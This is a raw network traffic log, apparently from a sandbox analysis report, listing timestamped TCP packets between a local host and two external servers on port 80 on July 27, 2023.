Jul 27, 2023 18:26:44.422550917 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422580957 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.422597885 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422631025 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.422643900 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422688961 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422715902 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.422734976 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422782898 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422828913 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422833920 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.422873974 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422910929 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.422920942 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422966957 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422992945 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.423012972 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.423058987 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.423109055 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.423132896 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.423155069 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.423201084 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.423212051 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.423248053 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.423289061 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.423295021 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.423341990 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.423373938 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.423389912 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.423486948 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.433602095 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.665503979 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.665571928 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.665620089 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.665656090 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.665676117 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.665724039 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.665738106 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.665772915 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.665822983 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.665829897 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.665914059 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.665961981 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.665970087 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.666012049 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666059971 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666107893 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666162014 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666203022 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.666210890 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666259050 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666270971 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.666306973 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666353941 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666402102 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666407108 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.666449070 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666474104 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.666500092 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666548014 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666569948 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.666594982 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666641951 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666686058 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666733027 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666749001 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.666779995 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666826010 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.666883945 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.676259041 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676353931 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676369905 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.676407099 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676455021 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676506996 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676525116 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.676554918 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676580906 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.676600933 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676649094 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676660061 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.676693916 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676739931 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676786900 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676811934 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.676832914 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676847935 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.676879883 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676927090 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.676943064 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.676973104 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677020073 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677042007 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.677064896 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677110910 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677160978 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677177906 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.677207947 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677228928 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.677258015 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677306890 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677352905 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677371025 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.677402020 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.677407980 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677454948 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677500010 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677511930 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.677547932 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677592993 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677628040 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.677639961 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677685976 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677731037 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677747011 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.677778959 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677783012 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.677825928 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677871943 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677918911 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677934885 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.677964926 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.677967072 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678011894 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678057909 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678098917 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678102970 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678153992 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678200006 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678221941 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678246975 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678250074 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678292990 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678339005 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678352118 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678385973 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678432941 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678442955 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678478003 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678524971 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678570986 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678597927 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678617954 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678632021 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678664923 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678711891 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678739071 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678759098 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678806067 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678812981 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678853035 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678900003 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678906918 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.678947926 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.678993940 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679040909 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679059029 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.679085970 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679097891 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.679136038 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679182053 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679189920 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.679228067 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679275036 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679322004 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679342985 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.679368019 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679378986 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.679416895 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679462910 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679476023 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.679508924 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679555893 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679600954 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679615974 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.679645061 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.679658890 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.679693937 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.796996117 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.797899008 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:45.051003933 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:45.314965010 CEST	49690	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.331592083 CEST	80	49690	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.332257986 CEST	49690	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.457411051 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.473799944 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.484371901 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.485508919 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.485552073 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.501807928 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.501854897 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.609822989 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.609879971 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.609976053 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.632349014 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.632417917 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.648821115 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.648853064 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.742615938 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.742681026 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.742727995 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.742774963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.742821932 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.742832899 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.742871046 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.742898941 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.742918968 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.742919922 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.742965937 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.743014097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.743072987 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.743402004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.743451118 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.743464947 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.743490934 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.746293068 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.777715921 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.777784109 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.777833939 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.777873039 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.777970076 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.778018951 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.778064966 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.778074980 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.778130054 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.778959990 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.779010057 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.779057026 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.779119015 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.779855967 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.779903889 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.779917002 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.779953003 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.780250072 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.780766964 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.780813932 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.780860901 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.780915976 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.781763077 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.781810045 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.781817913 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.781857014 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.782660007 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.782706022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.782712936 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.782752037 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.782756090 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.783615112 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.783658028 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.783724070 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.816545010 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.816612959 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.816663980 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.816812038 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.816853046 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.816859961 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.816910028 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.816957951 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.817806959 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.817856073 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.817902088 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.817958117 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.817996025 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.818702936 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.818751097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.818799019 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.818833113 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.819633961 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.819680929 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.819727898 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.819767952 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.819818020 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.820580959 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.820631027 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.820677996 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.820707083 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.821526051 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.821574926 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.821621895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.821651936 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.821687937 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.822475910 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.822525978 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.822571993 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.822657108 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.823463917 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.823512077 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.823539019 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.823559046 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.824246883 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.824388981 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.824436903 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.824484110 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.824562073 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.825283051 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.825331926 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.825362921 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.825380087 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.826222897 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.826334953 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.826554060 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.826600075 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.826646090 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.826734066 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.826797009 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.827450037 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.827497005 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.827541113 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.827620983 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.828495026 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.828541040 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.828588963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.828639984 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.828710079 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.829370975 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.829416990 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.829453945 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.829509020 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.849178076 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.849250078 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.849301100 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.849342108 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.849347115 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.849400997 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.849459887 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.849502087 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.849587917 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.850178003 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.850229979 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.850275993 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.850279093 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.850322962 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.850339890 CEST	49695	80	192.168.2.4	188.114.97.7
